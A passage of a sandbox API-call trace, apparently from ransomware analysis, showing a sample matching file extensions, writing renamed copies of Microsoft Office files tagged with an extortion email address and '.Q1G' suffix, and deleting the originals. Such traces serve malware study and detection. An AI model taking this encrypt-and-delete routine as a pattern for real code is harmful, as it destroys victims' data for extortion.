lpString2=".EXE") returned 1 [0259.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.199] lstrlenW (lpString=".zip") returned 4 [0259.199] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0259.199] lstrlenW (lpString=".rar") returned 4 [0259.199] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0259.199] lstrlenW (lpString=".bz2") returned 4 [0259.199] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0259.199] lstrlenW (lpString=".7z") returned 3 [0259.200] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString=".dbf") returned 4 [0259.200] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString=".1cd") returned 4 [0259.200] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString=".jpg") returned 4 [0259.200] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString=".doc") returned 4 [0259.200] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0259.200] lstrlenW (lpString=".docx") returned 5 [0259.200] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0259.200] lstrlenW (lpString=".pdf") returned 4 [0259.200] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0259.200] lstrlenW (lpString=".xls") returned 4 [0259.200] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0259.200] lstrlenW (lpString=".xlsx") returned 5 [0259.200] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0259.200] lstrlenW (lpString=".ppt") returned 4 [0259.200] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString=".zip") returned 4 [0259.200] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0259.200] lstrlenW (lpString=".rar") returned 4 [0259.200] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0259.200] lstrlenW (lpString=".bz2") returned 4 [0259.200] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0259.200] lstrlenW (lpString=".7z") returned 3 [0259.200] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0259.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.200] lstrlenW (lpString=".dbf") returned 4 [0259.200] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0259.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.201] lstrlenW (lpString=".1cd") returned 4 [0259.201] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0259.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.201] lstrlenW (lpString=".jpg") returned 4 [0259.201] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0259.201] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.201] lstrlenW (lpString="OLTASKR.FAE") returned 11 [0259.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.201] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=10672) returned 1 [0259.201] CloseHandle (hObject=0x3b4) returned 1 [0259.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 0x20 [0259.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.202] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.202] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.203] GetLastError () returned 0x0 [0259.203] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x29b0, lpOverlapped=0x0) returned 1 [0259.204] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x29c0, lpOverlapped=0x0) returned 1 [0259.205] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.205] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0259.205] SetEndOfFile (hFile=0x3b0) returned 1 [0259.206] CloseHandle (hObject=0x3b0) returned 1 [0259.206] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.206] SetEndOfFile (hFile=0x3b4) returned 1 [0259.208] CloseHandle (hObject=0x3b4) returned 1 [0259.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 1 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString=".doc") returned 4 [0259.209] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.209] lstrlenW (lpString=".docx") returned 5 [0259.209] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.209] lstrlenW (lpString=".pdf") returned 4 [0259.209] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.209] lstrlenW (lpString=".xls") returned 4 [0259.209] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.209] lstrlenW (lpString=".xlsx") returned 5 [0259.209] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.209] lstrlenW (lpString=".ppt") returned 4 [0259.209] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString=".zip") returned 4 [0259.209] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.209] lstrlenW (lpString=".rar") returned 4 [0259.209] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.209] lstrlenW (lpString=".bz2") returned 4 [0259.209] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.209] lstrlenW (lpString=".7z") returned 3 [0259.209] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString=".dbf") returned 4 [0259.209] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString=".1cd") returned 4 [0259.209] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString=".jpg") returned 4 [0259.209] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.209] lstrlenW (lpString=".doc") returned 4 [0259.209] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.210] lstrlenW (lpString=".docx") returned 5 [0259.210] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.210] lstrlenW (lpString=".pdf") returned 4 [0259.210] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.210] lstrlenW (lpString=".xls") returned 4 [0259.210] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.210] lstrlenW (lpString=".xlsx") returned 5 [0259.210] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.210] lstrlenW (lpString=".ppt") returned 4 [0259.210] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.210] lstrlenW (lpString=".zip") returned 4 [0259.210] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.210] lstrlenW (lpString=".rar") returned 4 [0259.210] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.210] lstrlenW (lpString=".bz2") returned 4 [0259.210] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.210] lstrlenW (lpString=".7z") returned 3 [0259.210] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.210] lstrlenW (lpString=".dbf") returned 4 [0259.210] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.210] lstrlenW (lpString=".1cd") returned 4 [0259.210] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0259.210] lstrlenW (lpString=".jpg") returned 4 [0259.210] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.210] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.210] lstrlenW (lpString="ORG97R.SAM") returned 10 [0259.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.211] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=12704) returned 1 [0259.211] CloseHandle (hObject=0x3b4) returned 1 [0259.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 0x20 [0259.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.211] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.212] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.212] GetLastError () returned 0x0 [0259.212] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x31a0, lpOverlapped=0x0) returned 1 [0259.214] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x31b0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x31b0, lpOverlapped=0x0) returned 1 [0259.216] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.216] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.216] SetEndOfFile (hFile=0x3b0) returned 1 [0259.216] CloseHandle (hObject=0x3b0) returned 1 [0259.216] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.216] SetEndOfFile (hFile=0x3b4) returned 1 [0259.218] CloseHandle (hObject=0x3b4) returned 1 [0259.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 1 [0259.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.219] lstrlenW (lpString=".doc") returned 4 [0259.219] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.219] lstrlenW (lpString=".docx") returned 5 [0259.219] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.219] lstrlenW (lpString=".pdf") returned 4 [0259.219] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.219] lstrlenW (lpString=".xls") returned 4 [0259.219] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.219] lstrlenW (lpString=".xlsx") returned 5 [0259.219] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.219] lstrlenW (lpString=".ppt") returned 4 [0259.219] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.219] lstrlenW (lpString=".zip") returned 4 [0259.219] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.220] lstrlenW (lpString=".rar") returned 4 [0259.220] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString=".bz2") returned 4 [0259.220] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString=".7z") returned 3 [0259.220] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.220] lstrlenW (lpString=".dbf") returned 4 [0259.220] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.220] lstrlenW (lpString=".1cd") returned 4 [0259.220] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.220] lstrlenW (lpString=".jpg") returned 4 [0259.220] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.220] lstrlenW (lpString=".doc") returned 4 [0259.220] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString=".docx") returned 5 [0259.220] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.220] lstrlenW (lpString=".pdf") returned 4 [0259.220] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString=".xls") returned 4 [0259.220] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.220] lstrlenW (lpString=".xlsx") returned 5 [0259.220] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.220] lstrlenW (lpString=".ppt") returned 4 [0259.220] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.220] lstrlenW (lpString=".zip") returned 4 [0259.220] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.220] lstrlenW (lpString=".rar") returned 4 [0259.220] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.220] lstrlenW (lpString=".bz2") returned 4 [0259.221] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.221] lstrlenW (lpString=".7z") returned 3 [0259.221] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.221] lstrlenW (lpString=".dbf") returned 4 [0259.221] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.221] lstrlenW (lpString=".1cd") returned 4 [0259.221] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0259.221] lstrlenW (lpString=".jpg") returned 4 [0259.221] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.221] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.221] lstrlenW (lpString="PABR.SAM") returned 8 [0259.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.222] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=11144) returned 1 [0259.222] CloseHandle (hObject=0x3b4) returned 1 [0259.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 0x20 [0259.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.222] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.222] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.223] GetLastError () returned 0x0 [0259.223] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x2b88, lpOverlapped=0x0) returned 1 [0259.226] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0259.227] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.227] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0259.227] SetEndOfFile (hFile=0x3b0) returned 1 [0259.227] CloseHandle (hObject=0x3b0) returned 1 [0259.227] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.227] SetEndOfFile (hFile=0x3b4) returned 1 [0259.230] CloseHandle (hObject=0x3b4) returned 1 [0259.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 1 [0259.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.231] lstrlenW (lpString=".doc") returned 4 [0259.231] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.231] lstrlenW (lpString=".docx") returned 5 [0259.231] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.231] lstrlenW (lpString=".pdf") returned 4 [0259.231] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.231] lstrlenW (lpString=".xls") returned 4 [0259.231] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.231] lstrlenW (lpString=".xlsx") returned 5 [0259.231] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.231] lstrlenW (lpString=".ppt") returned 4 [0259.231] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM") returned 64 [0259.231] lstrlenW (lpString=".zip") returned 4 [0259.231] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.231] lstrlenW (lpString=".rar") returned 4 [0259.231] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.231] lstrlenW (lpString=".bz2") returned 4 [0259.231] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.231] lstrlenW (lpString=".7z") returned 3 [0259.231] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.231] lstrlenW (lpString="C:\\Program Files\\Microsoft 